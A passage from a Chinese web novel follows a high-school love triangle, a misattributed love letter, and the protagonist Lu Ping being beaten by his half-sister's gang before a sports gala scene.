雄性之间为了争夺雌性的喜爱。
最先进行的永远是试探和挑衅。
如何呢?
张其薪眯起狭长的眼。
卢俜,这种感觉如何?
比张其薪想的要意外,卢俜还是那般事不关己的模样。他垂下眼睫,视线略过齐恩的身影。第三次告诉自己,不必在意,他克制地抽离。
是的,青春期到了。我们百无聊赖的少男们,因仰慕惊鸿一瞥的虹影,竟产生无趣的争风,居然也像模像样、遵循起了优胜劣汰的法则。
非常可笑。
卢俜并不想参与。
一封情书
卢俜不想参与,他不愿和麻烦的事多做纠缠。
但很快的,他就会发现,自己再一次想错了。
齐恩和张其薪回到班上,雄赳赳气昂昂,像打了胜仗的兵,就差踏着正步绕场走一圈。
“这是什么?”她把卷子双手承到高玟面前,“我数学不好,看不懂分数,你帮我看看。”
高玟接过,和齐恩互飙演技:“我也看不懂,两位数以内我看得懂,这三位数我也看不懂,你得问问袁礼米。来,小厘米,停笔,看一下这是什么数字,读出来,来———念出来!”
“一……百……零五!”袁礼米好似孜孜不倦的学者,读出晦涩的古汉语,“一百零五!”
“啊!啊!”齐恩摸住胸口,“高玟!高玟!臣妾的心跳得好快啊,你来摸摸!来摸摸!”
“行了行了,再演下去要拿奖了。”高玟翻看卷面,“真的一百零五啊?齐恩你这人机!”
“老袁,这就是你带出来的兵!”
高玟欣慰地拍着袁礼米的肩膀。
袁礼米一手攥拳在胸,任重而道远。
“革命还未胜利,同志仍需努力啊!”
这次考卷出的也不简单,但和前两次柯俐出的相比,已经温柔了许多。大多数人考的不错。
其中却不包括谌俞。
他只考了六十九分。
在一片欢声笑语里,他心绪烦躁地趴在桌面,白纸红字格外刺眼,明明已经牺牲了许多课外时间去学,可和心仪的女生差距却越来越大。
一方面,他觉得学习枯燥得要命,另一方面,齐恩明明少学两年,前段时间还忙着拍广告,都没有来学校上课,怎么分数不退反进呢?
少年心事,关乎遥远的那个人———他甚至嫉妒齐恩总那么优秀,不给他留一点点活路。
“谌俞,你怎么啦?”高玟注意到他的失落,“别灰心嘛,分数又不是一下就能提上来的,你这次已经考得很不错了,都快上七十了!”
“是呀,如果我没记错,这是你高二以来考的最好的一次了。”袁礼米说,“你的努力我们都看在眼里呢,只是,还没那么快,对吧?”
有人拍了拍谌俞的背,谌俞以为是张其薪,就反握了握那只手,没想到触感要更柔软一些。
齐恩很惊讶:“兄弟,这样能让你好受些?”
谌俞倏然抬起头,自己握着的竟是齐恩的手,他蓦地松开:“不是,我以为是张其薪呢!”
张其薪就那么眼看谌俞握住他想握的那只手,即使只有短暂的一秒,也足够让人嫉妒了。
“要不我现在补拍两下?”他假笑着打趣。
“还是算了吧,你的心意我领了。”谌俞仍旧闷闷不乐,“你们谁都考得比我好,真是。”
齐恩说:“可是你每天都要晨训和晚训呢,学体育是很浪费精力的,你没比我们差在哪。”
齐恩确实有发言权,作为退役的老牌运动员。
谌俞知道她无意中伤他,可齐恩也看出来了,他有点过度敏感,这份敏感还是因她而起。
下午的体育课,谌俞也没有去打篮球。
他背靠在树荫底下,静静地想着心事。
突然脸被冰了一下。
“啊!”谌俞惊呼。
齐恩拿着一瓶冰矿泉水,瓶身轻轻离开谌俞的脸,几秒后又重新贴上去:“给你降降温。”
从谌俞的视角看过去,齐恩的脸蛋在树影斑驳里通透而明亮,肌肤如同如吹弹可破的宣纸。她可生得真不错啊,这是谌俞最直观的感受。
她怎么可以那么漂亮嘛。
谌俞胸中的郁闷扫去一半。
齐恩大大咧咧地在谌俞身边坐下,自己也拧开一瓶水喝:“连球都不打了,心情这么差?”
“没有啦,只是有点……”谌俞摩挲着后颈,“有一点没劲,可能回去睡一觉就好了。”
“高玟说,谁惹生气谁来哄。”齐恩笑了笑,“所以我来啦,对不起,没顾及你的感受。”
“啊,千万别这样!”谌俞双手合十,“求求你别道歉,真的,就是我自己太小心眼了。”
“没有啊,如果我自己考得很差,身边考得好的人臭嘚瑟,我也会生气。”齐恩认真解释,“我要学习张司长和袁礼米的谦虚精神……”
话音未落,就被谌俞捂住了嘴。
“唉,我求你别说,别说了……”
“你不生气了就好。”齐恩笑吟吟地,“怎么啦小谌总,最近压力太大了?和我说说呗?”
“其实……是有点儿吧……”谌俞挠了挠头,“你也看到了吧,上周的家长会上,我爹真是丢人丢大发了,我现在在班上都抬不起头。”
“哪有!我觉得你爹老可爱了。”齐恩是真的忍俊不禁,“像个活宝一样,家里要是有这么一个爹肯定很热闹吧,像TVB里的家庭剧。”
“可别了吧。他呀,也就谈生意在行,一到家简直太招人烦了,什么都不懂还硬掺一脚!”谌俞抱怨,“又说我这次没考好,居然还要我去约张其薪和他爹出来吃饭,说是要交流交流育儿经验,老天啊,张其薪他爹一看就……”
“不想搭理你爹,是吧?
”齐恩拍着手大笑,“你爹是社交恐怖分子啊,太逗了太逗了!”
“唉!”谌俞也苦笑。
“反正他不理解我。”
“对啊,其实我好羡慕你们,不只是你,我还羡慕张其薪、高玟和袁礼米……你们都很厉害啊,什么事都做得很好,学习也是,好像和我不在一个世界……我不明白我为什么能和你们做朋友。老实说在遇见你之前我没想那么多,每天混混日子,等单招,实在考不上好大学,家里也有关系,让我混个不差的文凭出来。”
谌俞意识到自己说漏了嘴。
“好吧,我也要给你道歉,我没有如实说自己的家庭情况,因为你说过不喜欢富家子弟。”谌俞撇了撇嘴,“无所谓了,感觉我在你这里的形象已经糟糕透顶了……无可挽回了都。”
“才不是。”齐恩认真瞧他。
“你是一只……小德牧犬。”
“……骂我呢?”
“皮肤黑,眼睛又大又圆,还蠢萌蠢萌的。”齐恩恍然,“啊,你喜欢歪头,更像了。”
“行了,你就是想说我蠢吧!”谌俞被哄得小鹿乱撞,“不和你说了,我要去打球了!”
和好哥们打了半小时的球,谌俞全身都冒汗。张其薪问他要不要去买水,谌俞说自己有,齐恩刚才给的。“齐恩没给你吗?”他无意地问,“我看她拎了一袋子水呢,以为你有。”
张其薪没被分到,不过也是巧合。齐恩是买水给跑完步的女生喝的,正好要给谌俞赔罪,就拿了一瓶给他。张其薪当时在打球,如果要分,其余男生肯定也要拿,那女生就不够喝。
见张其薪沉默不语,谌俞心想一瓶水至于么:“可能正巧分完了,没事儿,再去买呗。”
张其薪在乎的当然不可能只是一瓶水,谌俞太心大了,并未察觉,还傻笑着摸自己的脸。
“你说我是不是长得像德牧啊?”
“……怎么会突然这么认为?”
“齐恩说的。”谌俞耳廓微红,“她说像。”
张其薪压住心中的烦躁:“她也许是夸你。”
“才不是,她说我蠢萌!这是形容本大爷的词吗!”谌俞虽这么抱怨,脸上却藏不住怦然。
两人在小卖部买完水,又去水龙头边洗把脸。正巧一个女生摔伤了腿,齐恩和高玟几人在帮她清洗伤口。张其薪走过去问怎么了,女生说自己是倒大霉平地摔,小腿磕破在跑道上了。
讲真的,张其薪的目光没怎么在那女生的伤口处流连。众多异性之中,他只能看到蹙眉沉思的齐恩,她低垂着纤细洁白的颈,眼睫黑直,鼻尖微皱,嘴角是紧抿的,像电影里的主角。
“去医务室上药吧。”齐恩说,“我扶你。”
那女生攀住齐恩的肩。一众人就此走远了。
谌俞不由得感叹:“齐恩真的好善良啊。”
善良么,张其薪心想,方婕也很善良,在发生那件事之前。所有人都这样以为。张其薪知道方婕清纯可爱的外表下,隐藏着某种阴暗潮湿的恶毒。这让他觉得,他们是可以共鸣的人。
他因此对方婕萌生出一些好感。
他原本觉得齐恩也是同一种人。
但后来种种说明并非如此。
想到这儿,张其薪脸上不自觉浮现出一个沉重的笑容。他静默地目视齐恩远去的背影。一个简单、纯粹、美好、却又无法更加亲密的人。
如果难以靠近,不妨……先使其他人远离。
“是啊,她是很好,只是……”
谌俞一愣,不明所以地看向他。
“这么优秀的女生,以后都不一定能遇到。”张其薪遗憾地摊手,“像她这种人,怎么可能没有男生追?你其实不想错过她,不是吗?”
谌俞还在犹豫:“那你觉得我应该……”
“机会,往往就在眼下。”张其薪道。
他笑得心无芥蒂。
“去告诉她吧。”
.
谌俞打算给齐恩写封情书。
这其实也算不上什么大事。
齐恩从早到晚都能收到情书。
齐恩受欢迎,是理所当然的事,除去卢俜那种两耳不闻窗外事的书呆子,其余同学或多或少都知道。十七班来的最早的几位同学,几乎每天都能撞见有人往齐恩桌上放情书或者礼物。
张其薪有一次来得早,刚打开班门,就和某位送情书的男生对视上,对方朝他羞涩一笑。他问对方怎么开的班门,对方说找保安拿钥匙。
“这是我们班,带着你和你的情书,出去。”
事后张其薪上报给学校的安保处,再之后班级钥匙就只有班主任有,申请程序也更加严格。
这些是齐恩不曾注意的,有段时间桌上的情书和礼物确实少了些,她以为这东西有周期性,可能现在已经过了少男们春心萌动的季节了。
只是,齐恩的追求者是拦不住的,早上不能送就中午送,不敢直接送就找人送。当然也有胆子大的,直接在路上拦齐恩,毫无顾忌示爱。
齐恩倒是挺能理解的,虽然现在通讯设备已经相当发达了,但正儿八经的喜爱,隔着冰冷的屏幕传递似乎也不够郑重其事。总之,情书她
有个专门的纸箱收纳,礼物就要更慎重一些。
对于齐恩来说,接受喜爱和拒绝一样简单。
反正她有那样一张脸,做什么都理所当然。
在这些少男们的视角里,齐恩是中学时代纯洁的白月光也好,鲜红的朱砂痣也罢,都是某种爱而不得的象征。他们并不了解齐恩,有些甚至没和齐恩说过一句话,却做着同一个美梦。
齐恩没有刻薄到那个份上,但他们说喜欢她,想和她成为男女朋友关系。又矮又胖的有,高得像竹竿也有,学习好的有,有钱的也不少,皮囊迤逦的零星无几,十根手指就数的过来。齐恩不拿挑选对象的眼光去批判他们,全因她不认识,有些甚至叫不出名字,没见过长相。
高玟倒是很恶
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毒:“尿都是哑光的。”
“开什么玩笑呢,这帮男的?”她随手拿起一封情书,念了几句酸话,自己先受不了了,“最喜欢的女明星必须是某某某,最喜欢的女网红必然是某姐,最喜欢的运动必然是篮球,最喜欢的小说必然是二十六个女房客,最喜欢的女主必须是沈幼楚,最喜欢的贴吧……”
齐恩笑得打滚儿,说别生气别生气。
袁礼米在床上一边拜读一边朗诵。
“好想让你的秀发缠绕我的指尖。”
“哎呀。”齐恩说,“偷头发的。”
“想让你在人群之中多看我一眼。”
“多看一眼?怎么的你要爆炸啊?”
“想尝尝你的口红是什么味道。”
“我操。这个喷不了,这是真流氓!”
高玟放下了粉色的信纸:“真是一场酣畅淋漓的性骚扰啊,齐恩,你都可以告他们了。”
话音刚落,高玟的妈妈走进房间里:“你们三只小家伙,吃不吃水果,我削了几个芒果。”
“妈你快过来看!”高玟把亲妈拉过来,“你看这个逼男的给齐恩写的情书,太恶心了。”
高玟妈妈看了两眼,诶我一声,拿着信纸跑出去给高玟爸看,片刻后高玟爸爸也诶我一声。
“你们可千万不要被这些男生的油嘴滑舌骗了。”高玟爸爸进房间给三个小姑娘讲道理,“现在的高中生!不好好学习,净谈这些情啊爱啊,这种小流氓蛋子以后也是没出息!”
“知———道———啦———”
小姑娘们纷纷笑着应答。
“话说齐恩,你以后打算找啥样的男生啊?”
袁礼米纠正说法,“以后就是男人了吧。”
“男人。总感觉是个贬义词。”高玟感慨,“即使是我爹,偶尔也有看得不爽的地方。”
齐恩不认同:“即使在是女人之中,偶尔也有让我们看的不爽的地方啊。比如柯女王。”
袁礼米总结:“所以,与其说男人是贬义词,不如说成年人往往都会变得不讨人喜欢?”
“可能在我们看来是讨厌的某一点,却是往成熟的道路上不得不迈出的门槛。”齐恩说。
“哇哦,你们两个说话好深奥啊。”高玟咬了一块芒果,“不过齐恩,你还没回答我呢。”
“打算找啥样的男生,是吧?”齐恩坦言。
“我想尽可能地多试试。”
“啊……啊?”高玟一时反应不过来。
“字面意思,趁着年轻多体验几个。”
“你这观念,绝!”高玟竖起大拇指。
袁礼米:“但是总得有个标准吧。”
“标准吗?看得顺眼就行了。一般一个人表白的那一刻,我就知道了自己会不会拒绝他。”
高玟了然:“哦———也就是说你是纯感觉至上型选手,有感觉就是可以,没有就是不行。”
“果然很符合双子的特征呢。”袁礼米说,“风向啊,真是让人捉摸不透的星座。”
“星座什么的,我觉得不准呢。”高玟感兴趣的是,“那你对谌俞有感觉吗?张其薪呢?”
张其薪?齐恩不喜欢应对过度含蓄的人。
谌俞么……“挺可爱的,不会拒绝吧。”
“你认真的呀?”这回连袁礼米都惊讶了,“如果谌俞给你表白,你……不会拒绝吗?”
齐恩想了想:“应该不会吧,既然不反感就先谈一下看看呗,如果将来不合适再分开嘛。”
都说了,齐恩不是那种万花丛中过、片叶不沾身的人设,如果可以体验青春期的新奇滋味。
她当然也乐于尝试。
于是这回,谌俞在张其薪别有用意的怂恿下,决定送出自己的情书。张其薪笃定齐恩会委婉地拒绝谌俞,就像那天晚上阻止他越界那样。
他不知道的是,如果没有发生那次意外,齐恩或许真会接受谌俞的告白,这也算歪打正着。
可电影《阿甘正传》 有言:“人生就像一盒巧克力,你永远不知道下一颗是什么味道。”
期末考试结束的那个下午,谌俞做出了行动。他用匿名纸条把齐恩约到操场后的芳草地上。
他来得很早,在天使铜像喷泉前等候着齐恩。
汗涔涔的右手背在身后。
捏着一封雪白的信纸。
谌俞等了一会儿,浑身都在抖,他太紧张了,即将表白的决心,以及
害怕被拒绝的忐忑。
一切复杂而彷徨的情感在脑海深处旋转跳跃,可身体最先反应过来的,竟然是……尿意。
坏了,他也太没用了!
这时候居然想上厕所!
好在齐恩还没来。谌俞左顾右盼了一会儿,把情书放在喷泉石柱上面,快步去图书馆解决。
卢俜就是在这时候出现的。
按理说,他不会出现在这种地方。可温主任说学校的喷泉坏了,让他来量一下尺寸好报修。卢俜没打算拒绝,反正他也要去图书馆还书。他拿着卷尺量完了,才看到那只白色信封。
卢俜拿了起来端详。
身后传来一声轻笑。
“诶,我说是谁呢,原来是你啊。”齐恩靠着斑驳的墙壁,将他手持信封的姿态尽纳眼底。
“这不是……”卢俜解释。
齐恩抽出他指尖的信封。
她拆开信封,看完了,又将信纸收进口袋。
“一封……情书。”她凑近他,点他的胸口。
“好呀卢俜,原来你暗恋我!”
两个选择
卢俜蹙眉,刚接触过信件的指缝有些灼热。
是麻烦的触感。
他正要解释,看到姗姗来迟的谌俞,心中突然明了。谌俞也注意到卢俜,脸色一瞬间僵住。
没想到这场景还有第三个人在,这和谌俞料想的也不一样:原本计划得很好,喷泉是一小时打开一次的,下次就是十六点整,正好是他给齐恩告白的时候。漫天细水、日光温柔,一切都像慢镜头,他会变魔法似的掏出那封情书。
对了……情书?情书呢?
谌俞看向放信封的石柱。
什么也没有。
他更慌了神。
谌俞慌了,卢俜却找到了救命稻草。他上前两步,对谌俞指那封情书的位置:“是你……”
紧急关头,谌俞居然可耻地退却了。
他做出了学生时代最愚蠢的决定。
“不是!不是我!”谌俞矢口否认。
“……”卢俜心想八成就是他了。
卢俜轻咳两声,示意谌俞和他单独谈谈。
他对谌俞低声:“那封情书就是你的。”
“我……我……”谌俞抓耳挠腮,“兄弟,你别说是我的!你替我瞒一下,求你了卢哥!”
一人做事一人当,凭什么要让别人来背锅。
卢俜火气瞬间上来了:“我怎么替你瞒?”
卢俜本意是反讽,可因为他说话就那个腔调,愤怒也不明显,谌俞理解成了另外的意思。
“你就说……就说是你的!”
谌俞典型的病急乱投医。
谌俞会这么想,其实也情有可原。卢俜,这可是啊卢俜,死书呆子放在他身上都不够形容。谌俞觉得卢俜是———绝色佳人坐在书桌上朝他勾手,他也会说滚蛋,你他妈压我卷子了。
这么一个好学生,简直是天选背锅圣体。齐恩就算误会了有的没的,恐怕也只会一笑置之。
这么想着,他觉得自己太睿智了:“好兄弟,求你帮我顶一下吧,我,我事后再感谢你。”
生怕他反悔,谌俞一溜烟跑远了。
只留下卢俜伫在原地独自凌乱。
“我……”卢俜再次对上似笑非笑的当事人。
“怎么,生怕谌俞看见?”齐恩歪着头问。
不,怕的另有其人。卢俜纠结地扯住额发。
“你听我解释,这件事情况有点复杂……”
“我懂,我懂。”齐恩忙不迭的道,水汪汪的眼眯成月牙的弧度。她懂什么?卢俜不知道她到底懂没懂。他无意逐鹿中原,更不想误入齐恩的鱼池,尽管他没觉得她是那种爱玩的人。
“你……真的懂了?”卢俜问。
“我懂呀,你比较怕麻烦嘛。”
语言的艺术就在于此,正着理解是一个意思,反着理解又是一个意思。卢俜的理解是齐恩真的懂了。齐恩的理解是,卢俜想和她好,但是又不想别人知道,卢俜本来就不是张扬的人。
卢俜想和她好。
齐恩没有意外。
“但我还是觉得要慢慢来。”齐恩煞有其事,“不能太心急了,咱们就循序渐进呗。”
“……我看你压根就没懂。”卢俜扶着红透的额头,“听着,我完全不是那个意思……”
“嘘。”齐恩把食指抵在他唇上。
“别说,别说,我都懂的。”
卢俜往后躲闪,那样子要多别扭有多别扭,像被人拿枪指着。他不知该说什么了,再解释?显得又多余又莫名其妙,卢俜简直忘了自己不是在意别人看法的人。对啊,他本来就不应该纠结齐恩怎么理解。她爱怎么想就怎么想,他暗恋她……她不早拿这个调侃他几百遍了吗?
“……你懂就行。”他干巴巴挤出一句,又扬起手上的卷尺,“离远点。我测一下高度。”
齐恩问为什么测这个,卢俜说温主任要报修。
“这个喷泉是坏的?”齐恩抬手摸了摸龙头。
“你没发现它很久都没有喷水……”
话音刚落,数道水流从龙头溅射出。
卢俜被淋了个透彻。
“哇哦,难怪让我离远点。”齐恩心有余悸,“谢谢你,卢俜,你也太舍己为人了吧。”
漫天细水、日光温柔,是的,这谌俞不能及的一幕却出现在卢俜的身上。我们可怜的卢俜、倒霉的卢俜,恐怕他自己都觉得自己倒霉透顶———他今天还穿的是一件白色的衬衫短袖。
白色布料变得透明,没了挺括的版型,而是紧身衣一样黏在卢俜的身上。他低头,看见胸前一览无余的肉色,和两点隐晦的红,只觉得荒谬……今天是怎么了?他做了十恶不赦的事?
从齐恩的视角来看,却是有够性感。遮着和不遮,和半遮不遮,观感肯定都是不一样的。
齐恩开口:“卢俜,你的咪……”
“不要说出来!”卢俜气急败坏。
“我不说别人也看得见啊,这坦胸露背的。”齐恩津津乐道,当然,也不做趁人之危的事,她摘下腰间的校服外套递过去,“穿我的吧,虽然码数有点小,但总比你就这样湿着好。”
卢俜迟疑片刻,看到旁边的小径有同学经过,还是迅速接过,木讷地道
了声谢。
“这有什么?都是好邻居嘛。”齐恩又问,“你待会儿是不是还要去温主任那儿复命?”
“是。校服不着急的话,我洗完再还你。”
“没事儿,看你什么时候方便都可以。”
齐恩一直看时间,卢俜问她是不是有事,齐恩说晚上在CBD有商务活动。她走得匆忙,单肩背包的身影依旧潇洒。同时兼顾学业与事业,齐恩就是有这样的本领,卢俜也不得不佩服。
卢俜小心翼翼地展开她的校服,齐恩有一米七二,但穿一米八的尺码。中学生都这样,夏天穿的单薄还好,秋冬天要在里面套卫衣毛衣,为了不显得臃肿,都会选择大两号的尺码。
卢俜套上,并没有觉得小,只是修身了一些。衣服上有淡淡的药味,是略显清冷的苦艾香。
她还在贴他送的膏药。
卢俜没有克制呼吸,让那股药味顺其自然地充斥鼻腔,湿漉漉的内心像被一味药填满。他把拉链往上拉,直到领口碰到下颚,又无意识地蹭了蹭,像主人走后满房间寻找气息的小猫。
他在做什么?
卢俜倏然收手。
疯了。
卢俜回到班上,有同学注意到他头发湿了,多问了两句,卢俜一边拿纸擦着发尾一边解释。
“对了。”周第说,“方婕到处找你。”
自从上次那件事过后,方婕再也没联络过卢俜。方婕目前于休学中,只有一些重大考试日才会来学校。她的处分闹得人尽皆知,在学校的风评每况愈下,甚至被挂到贴吧公开处刑。
有人说她可怜,有人说她活该,也有人说她本就讨人嫌,如今名声狼藉,还真是大快人心,想必齐恩看到这些谩骂她的话也会扬眉吐气。
卢俜却知道齐恩压根没在意过方婕。
大多数时候,齐恩是爱憎分明的人。
偶然谈到方婕,她竟还回想了几秒钟。
“……我对她其实印象还行。”
“这话我不敢和高玟他们说,因为他们很讨厌方婕。其实我第一次见到她就是开学第一天,那时候很多人在操场上围观我,她不仅出面维持秩序,还和谌俞一起把袁礼米送去医务室。都说看一个人,最重要的就是初印象,所以后来很多人和我说她的坏话,我都没有听信。”
“我不是一个完全公正的人,有时候也会先入为主。比如我一开始也以为你和方婕、周第是同一种人,爱做表面功夫,实际自私自利。”
齐恩笑了笑,“但是,如果总是凭借主观臆断去交友,我或许会错过一段珍贵的关系、一个闪闪发光的人。当然要接触,接触各种各样的人,不管会不会被讨厌、或被为难。方婕诬陷我,我当然讨厌她,但不能否认她是优秀的人。在成绩上,她是尖子生,比我厉害许多。当学生会长,我也自认做不到她那么尽职。”
“毕竟我也不是尽善尽美的人,是吧?”
完全不失偏颇的看法,这让卢俜愕然。
扪心自问,他达不到齐恩这般境界。
“方婕?”卢俜重复道,“她找我什么事?”
“我怎么知道?是你老婆,又不是我老婆。”
周第知道方婕喜欢卢俜,他前段时间对方婕有追爱的行为,可退学一事又让他打消了念头。
说到底,这个年龄段的男生,动心就和动动手指一样简单。周第对许多漂亮女生示过好,有些搭理他,乐在其中,偶尔说些暧昧的话;也有的不主动不拒绝,只享受你的好,像方婕;还有一些人全然拒绝,准确的说,是一个人。
齐恩是最不吃这一套的。
同时,也是最美丽的。
在大部分男生的认知里,学校里可以有很多个漂亮女孩,但毋庸置疑的大美人只能有一个。
是的,总有一个人,男生在谈论到她的时候,那些置喙的声音全部都消散了,不是“你们怎么都觉得她好看?我一点也get不到她”或者“就她?她还不如隔壁班那谁好看呢”,而是像秦始皇一统六国,无论是亲眼所见,或仅仅看过照片,男生们都极度认同她颜值的高度。
这个人就是齐恩。
光芒万丈的美貌。
虽然周第追不到齐恩,甚至连人家一个眼神都讨不到,但他也不打算再回头啃方婕了,卢俜喜欢干脆就让给他好了。如此顶级的性缘脑,若是卢俜知道他在想什么,恐怕只会更嫌恶。
“……你不会好好说话?”卢俜沉脸。
周第一下就老实了:“……对不起。”
卢俜收回冰冷的视线,背上书包径直出了班。
他把表单送到政教处,发现方婕和她爸也在。
卢俜没多在意,交完表单就离开。
方婕从后面追了出来,急喊住他。
“卢俜!”她殷切地道,“我到处找你。”
“我刚才听周第说了,你有什么事吗?”
“不是期末考完了吗,我,我打算组织一个学生会的团建,让大家都放松放松。”方婕抬起湿润微红的眼,“你……你会来的,对吧?我们一起商量商量吧,这周末?或者下周末?”
“我有事要忙。”卢俜回绝。
“那就挑个不忙的时候
……”
“我接下来的一段时间,都会很忙。”卢俜没有说谎,七月份就要迎来各类学科竞赛,他的时间已经切割成无数份了,每一份都有用处。他没有心力再陪这位校园公主玩过家家游戏。
“十分抱歉,让你失望了。”
道歉向来是卢俜的专长。
方婕知道没有理由再去拦他,她愤恨地跺了跺脚。原本以为这次回学校,就能改善大家对她的看法,没想到还是遭受了许多人的白眼。以往殷勤的周第对她爱答不理,卢俜也一如既往的冷漠……她甚至于想到,是不是齐恩在其中捣的鬼,可方婕却没有抓到一丝一毫的证据。
她闷闷地转过身去,突然发现身后的张其薪。
“怎么了?”他问,“眼红红的,你哭了?”
太好了,还有张其薪愿意和她说话。
方婕再也忍不住,哇地一声哭开了。
张其薪一边递纸安慰着她,一边审视她。
以前动心的女孩,如今看来也不过如此。
他还关心谌俞那边战况如何,面前的方婕絮絮叨叨,说自己有段时间没来学校,一来就发现被孤立了。张其薪摆出三分同情,用剩下七分冷漠想,如果是齐恩,就不会陷入这般窘境。
可毕竟不是人人都是齐恩。
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齐恩有事,卢俜今天一个人回家。
一出校门他就感受到了不对劲。<
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p> 对面街口有几个嬉笑的年轻人,几乎是卢俜一看到他们,他们的眼神就死死锁在他身上。
不光有上次那三个社会姐,还有四五个男生,卢俜不认识他们,可他知道,他们都认识他。
卢俜现在有两个选择。
一是直接走出去。
二是转身回学校。
第二个选择,也许是最安全的选择。可卢俜知道这次躲过去还有下次,卢佳不会轻易收手。
并且下次,就是他和齐恩一起。
卢俜没有任何犹豫地走过去。
“卢佳他弟。”其中一个女生支开嘴边的烟,“老熟人了哈,今天为什么找你,知道吧?”
卢俜颔首,上次她们就放了狠话让他等着,虽然不乏虚张声势的嫌疑。如今看来还很重诺。
“你也别为难我们,今天卢佳在老地方等着,她要亲自来。”女生说,“你自己走还是?”
卢俜说我自己走。老地方就是公交站后面的黑水巷,他跟他们去了,卢佳蹲在巷子里抽烟。
她不高兴,从脸色就能看出来,除此之外,还有伴随着诡异的抽搐,她又沾染了什么东西?之前是烟,然后是酒,现在好像更过了。之前在白天鹅酒店见到卢佳,她似乎没有这么瘦。
卢俜过去,卢佳咬着烟上下打量他。
“有点时间没找你了,滋润了啊。”
卢佳抬他的脸:“看看,气色都变好了。”
卢俜任由她摆弄,没有一丝反抗的意图。
“还是那么老实啊。”卢佳露出满意的笑容,“你和你妈,还真是一个比一个精,一个比一个能忍。我有时侯都挺佩服你,一个人在陌生的城市上学,你不觉得自己特别可怜吗?”
卢俜垂敛着眼说不觉得。
卢佳于是狂笑起来,笑得喘不过气。她其实很漂亮,并不是姿色平庸的女生,可周身都泛滥死气,那是沾染淫靡的人才有的气息。额角上暴凸出盘根错节的青筋,如蜘蛛编踞的密网。
“你上次家长会,没人去吧?”卢佳其实已经是大人了,完全不必和高二的小屁孩较劲,可谁让他是卢俜,谁让他是那个令人生厌的女人的儿子,“我告诉你,你妈其实来榕城了。”
“她和我爸一起来的,在榕城陪了我一整个周末呢,其实她是可以去参加你的家长会的。”卢佳故作遗憾地道,“可谁让你妈妈一点儿也不爱你呢?我随便一撒娇,她就说不去了。”
卢佳说完,身边的人都嗤笑。有人大声问这狗日的还是亲妈吗,真是有妈生没妈疼的东西。
卢佳故意去看卢俜的反应,她渴望捕捉到他脸上的失落,哪怕只有一瞬间。卢俜还在读小学的时候确实会难过,也曾流下数不清的眼泪。
但那是懵懂的年岁了。
如今他没那么愚钝。
“真可怜哦。”卢佳摸他的脸,“哭呀,像以前一样。卢俜,你小时候不是最爱哭了吗?”
卢俜以沉默回应着她。
直到卢佳彻底不耐了。
她索性开诚布公。
“我今天不高兴。”
勾勾手,年轻仗义的朋友们围上来。
“我不高兴了,那就做点高兴的事……”
卢佳抬脚,狠狠踹向卢俜,对方却躲开了。
往常不会躲,可今天身上的校服不是他的。
是齐恩的,不可以弄坏。
卢佳也注意到了,卢俜的校服饱经风霜,这件太崭新了,尺码也对不上。“哟———”她凑近瞧着,“这不是你的校服啊,这是谁的?”
“这还用问吗?肯定是上次那个女生的呗!”
“难怪从来打不还手、骂不还口的人要躲了,原来是怕这件校服脏了,这么宝贝着呢?”
卢佳笑嘻
嘻地:“你可以啊,卢俜,小小年纪就谈上了。听媛媛说人家可是大人物呢,国家级别的运动员,长得还一等一的正。可惜脑子不怎么好使,怎么就看上你了?你说是吧?”
“……她和我不是那种关系。”
卢俜一边脱外套一边解释。
“嘿,不会是你单方面舔人家吧?”一个红发青年揶揄道,“一个外套都这么宝贵,你可别给人家当沸羊羊都不自知。你在这儿舔人家衣服上的汗水味儿,别的高富帅已经在舔……”
话音未落,卢俜给他一拳。
一时间,全场都陷入诡异的寂静。
卢佳笑了:“卢俜,你可以啊。”
两个男生摁住卢俜的双肩。
卢佳从口袋里掏出指虎戴上。
“你想不想知道指虎打脸上是什么感觉?”
她笑吟吟地问,同时活动着右手手腕。
“砰!”卢俜猛的挨了一下。
半边脸颊被震得麻木了。
鼻腔涌出一股股热流。
卢俜没有了知觉,缓缓地低了头。
鲜红的血珠从视角的中心往下坠。
一颗一颗。
染脏了干净洁白的校服。
在一阵阵的拳打脚踢和谩骂声中。
卢俜护住的不是身体,而是校服。
直到卢佳咳了一声,轻轻抬高手背。
身边的年轻男女们自觉地退到两边。
卢佳把燃尽的烟摁在校服领口,顽劣地问:
“哎呀,搞坏了呀,你怎么给人家交差呢?”
“这样吧。”卢佳把卢俜脸上的血揉在衣摆上,漫不经心地,“反正她也爱替你出头么,那就让我们去会会她,看她到底有多牛逼。”
“哦对了……”卢佳贴耳低语。
“齐恩还不知道你的身世吧?”
卢俜本来半阖着眼,突然,眼睫震颤了两下。
他推开卢佳,缓缓撑臂起身,擦着嘴角的血。
他以平静而打响战役的语气。
“……我不会让你告诉她的。”
真心酒杯
齐恩参加的是地方文旅举办的体育晚宴,规模和规格都挺大,邀请了祖籍榕城的运动员们。因为属于宣传活动,所以邀请范围划得很大,有在役的也有退役的,有省级的也有国级的。
市里许多领导也来了,齐恩远远看过去,就瞧见西装革履的周诠,他旁边的是市长周伟正。
只见无数身处高位的人们都围绕着这两位。
周诠面色冷矜,举手投足间尽显温润高雅。
开幕式有个节目是旱滑,小孩子们穿着轮滑鞋绕圈摆姿势。齐恩看得津津乐道,起身去前面拍两张照片。周诠出现在她身边,他一手端着酒杯,轻轻摇晃着,恣意地询问她在做什么。
齐恩横拿手机,还能干嘛。
“我在玩扣扣飞车行吗?”
周诠像听不懂她的不耐,又笑了笑。
“我之后还攒了个局,你要不要来?”
“不———要———”齐恩一边录视频一边道,“刚考完试,我要回家,我要睡大觉。”
“刚考完试才应该好好放松呀。”周诠圈子里的人都年少有为,“你认识些人没坏处。”
之前郑飞燕几次想进他的圈子,周诠都委婉地回绝了,眼下他给齐恩机会,希望她别……
“不识抬举。”齐恩说。
“所以不劳您费心了。”
周诠抿唇,最后轻笑一声。
“你还真是什么都不怕。”
哟,这就破防了。齐恩正要反击,却看到台上一个小女孩脚底打滑,直直朝她的方向而来。
“……小心。”周诠下意识把她护住。
“小你妹啊!”齐恩大喊着推开他。这种时候避开算什么好汉,就看着七八岁的小孩直直摔下去吗?齐恩上前几步,利落地抻出双臂,把即将跌下护栏的小丫头稳当地接到自己怀里。
“没事吧?”齐恩蹙眉,“是不是脚崴了?”
都是学花滑的,她比旁人更清楚这种状况。
“是……是……”小姑娘疼出泪花。
齐恩立刻把她抱起:“去医院先!”
周诠见她火急火燎就往外跑,连忙快步跟上。
“做我的车更快一些,就停在外面的车库。”
周诠。他的用处甚至比不上他的车。
齐恩说谢谢,真想和你的车谈一段。
周诠心想她的幽默还真是与生俱来。
明明都急得要命,还能讲点冷笑话。
